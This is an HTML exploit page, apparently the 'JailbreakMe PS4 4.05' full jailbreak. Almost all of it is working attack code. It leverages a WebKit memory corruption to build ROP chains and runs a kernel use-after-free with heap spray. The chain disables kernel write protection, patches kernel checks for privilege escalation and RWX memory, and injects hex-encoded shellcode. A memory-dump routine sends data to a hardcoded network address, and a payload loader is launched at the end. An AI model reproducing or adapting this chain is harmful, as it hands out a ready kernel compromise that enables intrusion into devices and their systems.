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<!-- This page was originally made by qwertyoruiopz -->
<html>
<head>
<title>JailbreakMe PS4 4.05 (FULL JAILBREAK)</title>
<meta name="viewport" content="user-scalable=1.0,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="no">
<meta name="format-detection" content="telephone=no">
<link rel="apple-touch-icon" href="touch-icon-iphone.png">
<meta name="apple-mobile-web-app-title" content="JailbreakMe" />
<style>
body
{
overflow: hidden;
position: fixed;
position: relative;
}
h1
{
overflow: hidden;
position: fixed;
position: absolute;
top: 40%;
left: 50%;
transform: translate(-50%, -50%);
}
footer
{
position: absolute;
left: 0;
bottom: 0;
height: 40px;
width: 100%;
overflow:hidden;
}
</style>
<script src=loader.js></script>
<script src=syscalls.js></script>
</head>
<body>
<script>
/* Get user agent for determining system firmware */
var ua = navigator.userAgent;
/* Called from exploit.js upon success */
window.postexploit = function(p)
{
var fwFromUA = ua.substring(ua.indexOf("5.0 (") + 19, ua.indexOf(") Apple"));
document.getElementById("clck").style.display = 'none';
var print = function(string) {
document.getElementById("console").innerHTML += string + "\n";
}
window.nogc = [];
print("=== Exploit Successful ===");
/* Used to leak parseFloat() for deriving webkit's base address and calling */
p.leakFunction = function(smashFunction) {
var smashObj = p.leakval(smashFunction);
var smashBase = p.read8(smashObj.add32(0x18));
return smashBase.add32(0x20);
}
var funcPointer = p.read8(p.leakFunction(parseFloat));
/* Calculate slide */
var webkitBase = funcPointer.add32(0); // copy
webkitBase.low &= ~0xFFF;
webkitBase.sub32inplace(0x55000);
moduleBaseAddresses['libSceWebKit2'] = webkitBase;
/* Get import map based on firmware from user-agent string */
generateBasicImportMap();
if(window.basicImportMap[fwFromUA] != null)
{
window.basicImports = window.basicImportMap[fwFromUA];
}
else
{
throw new Error("System may be vulnerable but does not have a valid import map!");
}
/* Get LIBC base address */
var libcBase = p.read8(webkitBase.add32(0x2729740));
libcBase.low &= ~0xFFF;
libcBase.sub32inplace(0x36000);
moduleBaseAddresses['libSceLibcInternal'] = libcBase;
/*
I was originally going to calculate libkernel's address via libSceSysmodule
however since we may require libkernel's address for some gadgets in the future
anyway, it's better to do it qwerty's way by leaking the stack_chk_fail import pointer.
*/
var libkernel = p.read8(window.basicImports['__stack_chk_fail']);
libkernel.low &= ~0xFFF;
libkernel.sub32inplace(0x51000);
moduleBaseAddresses['libkernel'] = libkernel;
/* Get gadget map based on firmware from user-agent string */
generateGadgetMap();
if(gadgetMap[fwFromUA] != null)
{
window.gadgets = gadgetMap[fwFromUA];
}
else
{
throw new Error("System may be vulnerable but does not have a valid gadget map!");
}
/* Get syscall map based on firmware from user-agent string */
if(syscallMap[fwFromUA] != null)
{
window.syscalls = syscallMap[fwFromUA];
}
else
{
alert("Your system does not have a valid system call map! The exploit will still work but calling syscalls will not function properly...");
}
var funcPtrStore = p.leakFunction(parseFloat);
var funcArgs = [];
for(var i = 0; i < 0x7FFF; i++)
funcArgs[i] = 0x41410000 | i;
/* Ensure everything is aligned and the layout is intact */
var argBuffer = new Uint32Array(0x1000);
var argPointer = p.read8(p.leakval(argBuffer).add32(0x28));
argBuffer[0] = 0x13371337;
if(p.read4(argPointer) != 0x13371337)
{
throw new Error("Stack frame is not aligned!");
}
window.dont_tread_on_me = [argBuffer];
/* Load ROP chain into memory */
p.loadchain = function(chain)
{
var stackPointer = 0;
var stackCookie = 0;
var origRIP = 0;
var reEntry =
{
length:
{
valueOf: function()
{
origRIP = p.read8(stackPointer);
var returnToFrame = stackPointer;
var ocnt = chain.count;
chain.push64(stackPointer, origRIP);
chain.push64(stackPointer.add32(8), stackCookie);
if (chain.runtime) returnToFrame=chain.runtime(stackPointer);
chain.push(window.gadgets["pop rsp"]);
chain.push(returnToFrame);
chain.count = ocnt;
p.write8(stackPointer, window.gadgets["pop rsp"]);
p.write8(stackPointer.add32(8), chain.ropChainPtr);
return 0;
}
}
};
return (function()
{
/* Clear stack frame */
(function(){}).apply(null, funcArgs);
/* Recover frame */
var orig = p.read8(funcPtrStore);
p.write8(funcPtrStore, window.gadgets["mov rax, rdi"]);
/* Setup frame */
var trap = p.leakval(parseFloat());
var rtv = 0;
var fakeval = new int64(0x41414141, 0xffff0000);
(function()
{
var val = p.read8(trap.add32(0x100));
if ((val.hi != 0xffff0000) || ((val.low & 0xFFFF0000) != 0x41410000))
{
throw new Error("Stack frame corrupted!");
}
}).apply(null, funcArgs);
/* Write vtable, setjmp stub, and 'jump rax' gadget */
p.write8(argPointer, argPointer.add32(0x100));
p.write8(argPointer.add32(0x130), window.basicImports["setjmp"]);
p.write8(funcPtrStore, window.gadgets["jmp addr"]);
/* Clear and write to frame */
(function(){}).apply(null, funcArgs);
p.write8(trap.add32(0x18), argPointer);
p.leakval(parseFloat()); // Jumps to "setjmp" function stub in libkernel
/* Finish by resetting the stack's base pointer and canary */
stackPointer = p.read8(argPointer.add32(0x10));
stackCookie = p.read8(stackPointer.add32(8));
rtv=Array.prototype.splice.apply(reEntry);
p.write8(trap.add32(0x18), fakeval);
p.write8(trap.add32(0x18), orig);
return p.leakval(rtv);
}).apply(null, funcArgs);
}
p.call = function(rip, rdi, rsi, rdx, rcx, r8, r9) {
var retVal;
var addr = undefined;
var chain = new rop(p, addr);
chain.call(rip, rdi, rsi, rdx, rcx, r8, r9);
chain.push(window.gadgets["pop rdi"]);
chain.push(chain.ropChainPtr.add32(0xfff8));
chain.push(window.gadgets["mov qword ptr [rdi], rax"]);
chain.push(window.gadgets["pop rax"]);
chain.push(p.leakval(0x41414242));
if (chain.run().low != 0x41414242) throw new Error("Unexpected ROP behaviour");
retVal = p.read8(chain.ropChainPtr.add32(0xfff8));
/* If this check is true, errno was set and function returned -1 */
if(retVal.low == 0xFFFFFFFF && retVal.hi == 0xFFFFFFFF)
{
/* Recursion FTW! */
//retVal = p.call(libkernel.add32(0x7ccf0)); // replace this is only 3.55 offset
/* Dereference the pointer to get the value of errno */
retVal = p.read8(libkernel.add32(0x7ccf0));
//alert("ERRNO SET: " + retVal);
retVal = -1;
}
return retVal;
}
p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9)
{
if (typeof sysc == "string")
{
sysc = window.syscallnames[sysc];
}
if (typeof sysc != "number")
{
throw new Error("System call map does not contain an index for this syscall!");
}
var off = window.syscalls[sysc];
if (off == undefined)
{
throw new Error("System call map does not contain an index for this syscall!");
}
return p.call(libkernel.add32(off), rdi, rsi, rdx, rcx, r8, r9);
}
p.writeString = function (addr, str)
{
for (var i = 0; i < str.length; i++)
{
//p.write4(addr.add32(i), str.charCodeAt(i));
var byte = p.read4(addr.add32(i));
byte &= 0xFFFF0000;
byte |= str.charCodeAt(i);
p.write4(addr.add32(i), byte);
}
}
p.readString = function(addr)
{
var byte = p.read4(addr);
var str = "";
while (byte & 0xFF)
{
str += String.fromCharCode(byte & 0xFF);
addr.add32inplace(1);
byte = p.read4(addr);
}
return str;
}
p.socket = function()
{
return p.syscall('sys_socket', 2, 1, 0); // 2 = AF_INET, 1 = SOCK_STREAM, 0 = TCP
}
p.connect = function(s, ip, port)
{
var sockAddr = new Uint32Array(0x10);
var sockAddrPtr = p.read8(p.leakval(sockAddr).add32(0x28));
var ipSegments = ip.split('.');
for(var seg = 0; seg < 4; seg++)
{
ipSegments[seg] = parseInt(ipSegments[seg]);
}
sockAddr[0] |= (((port >> 8) & 0xFF) << 0x10 | port << 0x18) | 0x200;
sockAddr[1] = ipSegments[3] << 24 | ipSegments[2] << 16 | ipSegments[1] << 8 | ipSegments[0];
sockAddr[2] = 0;
sockAddr[3] = 0;
return p.syscall('sys_connect', s, sockAddrPtr, 0x10);
}
p.writeSocket = function(s, data, size)
{
return p.syscall('sys_write', s, data, size);
}
p.closeSocket = function(s)
{
return p.syscall('sys_close', s);
}
window.dumpMemory = function(addr, size)
{
var s = p.socket();
if(p.connect(s, '192.168.0.19', 9030) != 0)
return -1;
p.writeSocket(s, addr, size);
p.closeSocket(s);
}
/* Setup memory for data */
function malloc(size)
{
var backing = new Uint8Array(0x10000+size);
window.nogc.push(backing);
var ptr = p.read8(p.leakval(backing).add32(0x28));
ptr.backing = backing;
return ptr;
}
function stringify(str)
{
var bufView = new Uint8Array(str.length+1);
for (var i=0; i<str.length; i++) {
bufView[i] = str.charCodeAt(i) & 0xFF;
}
window.nogc.push(bufView);
return p.read8(p.leakval(bufView).add32(0x28));
}
/* Kernel Exploit Stuff Below */
/*
Exploit strategy:
1) We have a leak with sys_thr_get_ucontext. We'll use this to leak a pointer
to a cdev_priv object which we will leak by opening the dipsw device driver
2) We can create a named object with sys_namedobj_create()
3) We can set the lower 32-bits of offset 0's address in the object's structure
via sys_mdbg_service. Set lower 32-bits to that of cdev's lower 32-bits
4) We can now free() cdev with a call to sys_namedobj_delete()
5) Now that the cdev object is free'd and we still maintain a reference, spray
the heap to corrupt the object's backing memory
6) Use a system call (ioctl) to trigger corrupted function pointer to get code execution
7) Start a ROP chain in ring0 to write shellcode into kernel
8) Jump to shellcode and return to usermode
9) Apply patches for fun and profit!
*/
var kernelBaseAddress = 0;
print("=== Checking kexploit status ===");
var kexploitCheck = p.syscall('sys_setuid', 0)
if(kexploitCheck == 0)
{
print("Status: Kernel Patched!");
}
if(kexploitCheck != 0)
{
print("Status: Kernel Not Patched...");
print("=== Starting Kernel Exploit Chain ===");
//////////////// SETUP ////////////////
print("Allocating Buffers...");
// Setup buffers for important pre-exploit stuff
var kernelBase = malloc(0x08);
var objBase = malloc(0x08);
var stackLeakFix = malloc(0x08);
var namedObj = malloc(0x08);
var serviceBuff = malloc(0x80);
// Setup buffers for important exploit stuff
var mdbgRet = malloc(0x08);
var rtIoctl = malloc(0x08);
var obj_cdev_priv = malloc(0x180);
var obj_cdevsw = malloc(0x0B0);
// Setup buffers for important post-exploit stuff
var kernelBase = malloc(0x08);
// File descriptor for target
var targetDevFd = malloc(0x08);
// Setup Buffers related to leaking
var leakData = malloc(0x4C0);
var leakScePThrPtr = malloc(0x08);
var createLeakThr = p.call(libkernel.add32(0x11570), leakScePThrPtr, 0, window.gadgets["infloop"], leakData, stringify("leakThr"));
//////////////// LEAK ////////////////
print("Calculating ASLR and Object Base...");
p.write8(namedObj, p.syscall('sys_namedobj_create', stringify("debug"), 0xDEAD, 0x5000));
var stage1 = new rop(p, undefined);
stage1.call(libkernel.add32(window.syscalls[window.syscallnames['sys_thr_suspend_ucontext']]), p.read4(p.read8(leakScePThrPtr)));
stage1.call(libkernel.add32(window.syscalls[window.syscallnames['sys_open']]), stringify("/dev/dipsw"), 0, 0);
stage1.saveReturnValue(targetDevFd);
stage1.call(libkernel.add32(window.syscalls[window.syscallnames['sys_thr_get_ucontext']]), p.read4(p.read8(leakScePThrPtr)), leakData);
stage1.run();
// Extract leaks
kernelBase = p.read8(leakData.add32(0x128)).sub32(0x109E96); // slide = 0x109E96
objBase = p.read8(leakData.add32(0x130));
stackLeakFix = p.read8(leakData.add32(0x20));
// Leak integrity check: kASLR defeat check
if(kernelBase.low & 0x3FFF)
{
alert("Bad leak! Terminating.");
return false;
}
print("Kernel base: 0x" + kernelBase);
print("Object leak: 0x" + objBase);
p.write8(serviceBuff.add32(0x4), objBase);
p.writeString(serviceBuff.add32(0x28), "debug");
//////////////// BUILD KROP CHAIN ////////////////
print("Building Kernel ROP Chain...");
var kchainstack = malloc(0x200);
var kchain = new krop(p, kchainstack);
// Disable kernel write protection
kchain.push(window.gadgets["pop rax"]); // rax = 0x80040033;
kchain.push(0x80040033);
kchain.push(kernelBase.add32(0x389339)); // mov cr0, rax;
// Fix cdev_priv->cdp_c->si_devsw
kchain.write64(objBase.add32(0xB8), kernelBase.add32(0x1926550));
// Patch sys_mmap: Allow RWX (read-write-execute) mapping
var kernel_mmap_patch = new int64(0x37B74137, 0x3145C031);
kchain.write64(kernelBase.add32(0x31CFDC), kernel_mmap_patch);
// Patch syscall: syscall instruction allowed anywhere
var kernel_syscall_patch1 = new int64(0x0000000, 0xF8858B48);
var kernel_syscall_patch2 = new int64(0x0007DE9, 0x72909000);
kchain.write64(kernelBase.add32(0xED096), kernel_syscall_patch1);
kchain.write64(kernelBase.add32(0xED0BB), kernel_syscall_patch2);
// Patch sys_dynlib_dlsym: Allow from anywhere
var kernel_dlsym_patch1 = new int64(0x000000E9, 0x8B489000);
var kernel_dlsym_patch2 = new int64(0x90C3C031, 0x90909090);
kchain.write64(kernelBase.add32(0x14AADD), kernel_dlsym_patch1);
kchain.write64(kernelBase.add32(0xE2DA0), kernel_dlsym_patch2);
// Add custom sys_exec() call to execute arbitrary code as kernel
var kernel_exec_param = new int64(0, 1);
kchain.write64(kernelBase.add32(0xF179A0), 0x02);
kchain.write64(kernelBase.add32(0xF179A8), kernelBase.add32(0x65750));
kchain.write64(kernelBase.add32(0xF179C8), kernel_exec_param);
// Add kexploit check so we don't run kexploit more than once (also doubles as privilege escalation)
// E8 8B EE 15 00 89 C3 85 -> B8 00 00 00 00 89 C3 85
var kexploit_check_patch = new int64(0x000000B8, 0x85C38900);
kchain.write64(kernelBase.add32(0x85BB0), kexploit_check_patch);
// Fix object
kchain.push(window.gadgets["pop rax"]);
kchain.push(kernelBase.add32(0x19536E0));
kchain.push(window.gadgets["mov rax, qword ptr [rax]"]);
kchain.push(window.gadgets["pop rdi"]);
kchain.push(objBase.add32(0x50));
kchain.push(window.gadgets["mov qword ptr [rdi], rax"]);
// Exit kernel ROP chain
kchain.push(window.gadgets["pop rax"]);
kchain.push(stackLeakFix.add32(0x3C0));
kchain.push(window.gadgets["pop rcx"]);
kchain.push(window.gadgets["pop rsp"]);
kchain.push(window.gadgets["push rax; jmp rcx"]);
print("KROP chain size: " + kchain.count);
//////////////// FAKE THE OBJECT ////////////////
print("Creating Fake Object...");
//////// FAKE CDEV_PRIV ////////
p.write8(obj_cdev_priv.add32(0x008), 0x0000000000000004);
p.write8(obj_cdev_priv.add32(0x048), 0x00000000000001A4);
p.write8(obj_cdev_priv.add32(0x058), 0x0000001000000000); // Fix
p.write8(obj_cdev_priv.add32(0x060), 0x0000000000000004);
p.write8(obj_cdev_priv.add32(0x068), kernelBase.add32(0x19265F8));
p.write8(obj_cdev_priv.add32(0x0A0), objBase.add32(0x0E0));
p.write8(obj_cdev_priv.add32(0x0B8), obj_cdevsw); // Target Object
p.write8(obj_cdev_priv.add32(0x0C0), 0x0000000000010000);
p.write8(obj_cdev_priv.add32(0x0C8), 0x0000000000000001);
p.write8(obj_cdev_priv.add32(0x0E0), window.gadgets["ret"]); // New RIP value for stack pivot
p.write8(obj_cdev_priv.add32(0x0F0), objBase); // Use as a back pointer to the object
p.write8(obj_cdev_priv.add32(0x0F8), kchainstack); // New RSP value for stack pivot
//////// FAKE CDEVSW ////////
p.write8(obj_cdevsw.add32(0x38), libcBase.add32(0xa826f)); // d_ioctl - TARGET FUNCTION POINTER
//////////////// FREE THE OBJECT ////////////////
print("Freeing the object!");
var stage3 = new rop(p, undefined);
stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_mdbg_service']]), 1, serviceBuff, 0);
stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_namedobj_delete']]), p.read8(namedObj), 0x5000);
print("Spraying the heap!");
for(var i = 0; i < 500; i++)
{
stage3.call(libkernel.add32(window.syscalls[window.syscallnames['sys_ioctl']]), 0xDEADBEEF, 0x81200000, obj_cdev_priv);
}
stage3.run();
//////////////// TRIGGER ////////////////
print("Triggering kernel code execution");
p.syscall('sys_ioctl', p.read8(targetDevFd), 0x81200000, obj_cdev_priv);
//////////////// FIX ////////////////
print("Allocating executable memory for fix payload...");
var baseAddressExecute = new int64(0xDEAD0000, 0);
var exploitExecuteAddress = p.syscall("sys_mmap", baseAddressExecute, 0x10000, 7, 0x1000, -1, 0);
var executeSegment = new memory(p, exploitExecuteAddress);
var objBaseStore = executeSegment.allocate(0x8);
var shellcode = executeSegment.allocate(0x200);
p.write8(objBaseStore, objBase);
p.write4(shellcode.add32(0x00000000), 0x00000be9);
p.write4(shellcode.add32(0x00000004), 0x90909000);
p.write4(shellcode.add32(0x00000008), 0x90909090);
p.write4(shellcode.add32(0x0000000c), 0x90909090);
p.write4(shellcode.add32(0x00000010), 0x0082b955);
p.write4(shellcode.add32(0x00000014), 0x8948c000);
p.write4(shellcode.add32(0x00000018), 0x415741e5);
p.write4(shellcode.add32(0x0000001c), 0x41554156);
p.write4(shellcode.add32(0x00000020), 0x83485354);
p.write4(shellcode.add32(0x00000024), 0x320f18ec);
p.write4(shellcode.add32(0x00000028), 0x89d58949);
p.write4(shellcode.add32(0x0000002c), 0x64b948c0);
p.write4(shellcode.add32(0x00000030), 0x77737069);
p.write4(shellcode.add32(0x00000034), 0x49000000);
p.write4(shellcode.add32(0x00000038), 0x4120e5c1);
p.write4(shellcode.add32(0x0000003c), 0x000200bc);
p.write4(shellcode.add32(0x00000040), 0xc5094900);
p.write4(shellcode.add32(0x00000044), 0xd0b58d4d);
p.write4(shellcode.add32(0x00000048), 0x49ffcf14);
p.write4(shellcode.add32(0x0000004c), 0x8a509d8d);
p.write4(shellcode.add32(0x00000050), 0x81490003);
p.write4(shellcode.add32(0x00000054), 0x030b50c5);
p.write4(shellcode.add32(0x00000058), 0x868d4901);
p.write4(shellcode.add32(0x0000005c), 0x001d18d0);
p.write4(shellcode.add32(0x00000060), 0x00c68149);
p.write4(shellcode.add32(0x00000064), 0x48001d17);
p.write4(shellcode.add32(0x00000068), 0x48c04589);
p.write4(shellcode.add32(0x0000006c), 0xad0000a1);
p.write4(shellcode.add32(0x00000070), 0x000000de);
p.write4(shellcode.add32(0x00000074), 0x45894800);
p.write4(shellcode.add32(0x00000078), 0x888948c8);
p.write4(shellcode.add32(0x0000007c), 0x000000e0);
p.write4(shellcode.add32(0x00000080), 0xf080c748);
p.write4(shellcode.add32(0x00000084), 0x00000000);
p.write4(shellcode.add32(0x00000088), 0x48000000);
p.write4(shellcode.add32(0x0000008c), 0x00f880c7);
p.write4(shellcode.add32(0x00000090), 0x00000000);
p.write4(shellcode.add32(0x00000094), 0x1aeb0000);
p.write4(shellcode.add32(0x00000098), 0x00841f0f);
p.write4(shellcode.add32(0x0000009c), 0x00000000);
p.write4(shellcode.add32(0x000000a0), 0x4cee894c);
p.write4(shellcode.add32(0x000000a4), 0x8b48ff89);
p.write4(shellcode.add32(0x000000a8), 0xd0ffc045);
p.write4(shellcode.add32(0x000000ac), 0x01ec8341);
p.write4(shellcode.add32(0x000000b0), 0x02ba2774);
p.write4(shellcode.add32(0x000000b4), 0x4c000000);
p.write4(shellcode.add32(0x000000b8), 0x80bfee89);
p.write4(shellcode.add32(0x000000bc), 0x41000001);
p.write4(shellcode.add32(0x000000c0), 0x8d48d6ff);
p.write4(shellcode.add32(0x000000c4), 0x00006f3d);
p.write4(shellcode.add32(0x000000c8), 0xc7894900);
p.write4(shellcode.add32(0x000000cc), 0x31c68948);
p.write4(shellcode.add32(0x000000d0), 0x4cd3ffc0);
p.write4(shellcode.add32(0x000000d4), 0x75c87d39);
p.write4(shellcode.add32(0x000000d8), 0xe43145c7);
p.write4(shellcode.add32(0x000000dc), 0xc8758b48);
p.write4(shellcode.add32(0x000000e0), 0x5f3d8d48);
p.write4(shellcode.add32(0x000000e4), 0x31000000);
p.write4(shellcode.add32(0x000000e8), 0x0fd3ffc0);
p.write4(shellcode.add32(0x000000ec), 0x0000441f);
p.write4(shellcode.add32(0x000000f0), 0x0000a148);
p.write4(shellcode.add32(0x000000f4), 0x0000dead);
p.write4(shellcode.add32(0x000000f8), 0x89440000);
p.write4(shellcode.add32(0x000000fc), 0x3d8d48e6);
p.write4(shellcode.add32(0x00000100), 0x0000005c);
p.write4(shellcode.add32(0x00000104), 0x20148b4a);
p.write4(shellcode.add32(0x00000108), 0x08c48349);
p.write4(shellcode.add32(0x0000010c), 0xd3ffc031);
p.write4(shellcode.add32(0x00000110), 0x80fc8149);
p.write4(shellcode.add32(0x00000114), 0x75000001);
p.write4(shellcode.add32(0x00000118), 0x3d8d48d7);
p.write4(shellcode.add32(0x0000011c), 0x00000060);
p.write4(shellcode.add32(0x00000120), 0xd3ffc031);
p.write4(shellcode.add32(0x00000124), 0x18c48348);
p.write4(shellcode.add32(0x00000128), 0x415bc031);
p.write4(shellcode.add32(0x0000012c), 0x415d415c);
p.write4(shellcode.add32(0x00000130), 0x5d5f415e);
p.write4(shellcode.add32(0x00000134), 0x909090c3);
p.write4(shellcode.add32(0x00000138), 0x6f6c6c41);
p.write4(shellcode.add32(0x0000013c), 0x30203a63);
p.write4(shellcode.add32(0x00000140), 0x786c2578);
p.write4(shellcode.add32(0x00000144), 0x624f000a);
p.write4(shellcode.add32(0x00000148), 0x7463656a);
p.write4(shellcode.add32(0x0000014c), 0x6d754420);
p.write4(shellcode.add32(0x00000150), 0x78302070);
p.write4(shellcode.add32(0x00000154), 0x0a786c25);
p.write4(shellcode.add32(0x00000158), 0x00000000);
p.write4(shellcode.add32(0x0000015c), 0x00000000);
p.write4(shellcode.add32(0x00000160), 0x6265443c);
p.write4(shellcode.add32(0x00000164), 0x203e6775);
p.write4(shellcode.add32(0x00000168), 0x656a624f);
p.write4(shellcode.add32(0x0000016c), 0x2b207463);
p.write4(shellcode.add32(0x00000170), 0x25783020);
p.write4(shellcode.add32(0x00000174), 0x3a783330);
p.write4(shellcode.add32(0x00000178), 0x25783020);
p.write4(shellcode.add32(0x0000017c), 0x000a786c);
p.write4(shellcode.add32(0x00000180), 0x6265443c);
p.write4(shellcode.add32(0x00000184), 0x203e6775);
p.write4(shellcode.add32(0x00000188), 0x7473754a);
p.write4(shellcode.add32(0x0000018c), 0x726f4620);
p.write4(shellcode.add32(0x00000190), 0x7468203a);
p.write4(shellcode.add32(0x00000194), 0x3a737074);
p.write4(shellcode.add32(0x00000198), 0x77772f2f);
p.write4(shellcode.add32(0x0000019c), 0x6f792e77);
p.write4(shellcode.add32(0x000001a0), 0x62757475);
p.write4(shellcode.add32(0x000001a4), 0x6f632e65);
p.write4(shellcode.add32(0x000001a8), 0x61772f6d);
p.write4(shellcode.add32(0x000001ac), 0x3f686374);
p.write4(shellcode.add32(0x000001b0), 0x4a563d76);
p.write4(shellcode.add32(0x000001b4), 0x6d6c5247);
p.write4(shellcode.add32(0x000001b8), 0x4c6c6133);
p.write4(shellcode.add32(0x000001bc), 0x00000a59);
print("Running fix payload...");
var stage6 = new rop(p, undefined);
stage6.push(window.gadgets["pop rax"]);
stage6.push(11);
stage6.push(window.gadgets["pop rdi"]);
stage6.push(shellcode);
stage6.push(libkernel.add32(0x29CA)); // "syscall" gadget
stage6.run();
}
// Display results
print("=== Verifying kexploit patches ===");
print("setuid(0): " + p.syscall('sys_setuid', 0));
print("getuid(): " + p.syscall('sys_getuid'));
// Create loader memory
print("=== Launched Loader! ===");
var code_addr = new int64(0x26100000, 0x00000009);
var buffer = p.syscall("sys_mmap", code_addr, 0x300000, 7, 0x1000, -1, 0);
// Verify loaded
if(buffer == '926100000')
{
// Write kernel base
p.write8(code_addr.add32(0xFFFF0), kernelBase);
// Write loader
writeLoader(p, code_addr);
// Write syscall gadget
p.write8(code_addr.add32(0x2FFFF8), libkernel.add32(0x29C7));
// Launch thread
var thread = malloc(0x08);
var thr_name = malloc(0x100);
var tExitCode = malloc(0x08);
var exitMain = malloc(0x08);
p.writeString(thr_name, "loader");
print("scePthreadCreate: 0x" + p.call(libkernel.add32(0x11570), thread, 0, code_addr, 0, thr_name));
print("thread: 0x" + p.read8(thread));
print("=== Waiting for payload!!! ===");
}
}
</script>
<script src=expl.js></script>
<script src=gadgets.js></script>
<script src=rop.js></script>
<center><h1 id=clck>...</h1><strong>WebKit by <a href='https://twitter.com/qwertyoruiopz'>qwertyoruiopz</a></strong><br/>Kernel by <a href='https://twitter.com/specterdev'>SpecterDev</a><br/>This exploit contains a 4.05 kernel exploit!<br/></center>
<pre id="console" style="font-size: 20px"></pre>
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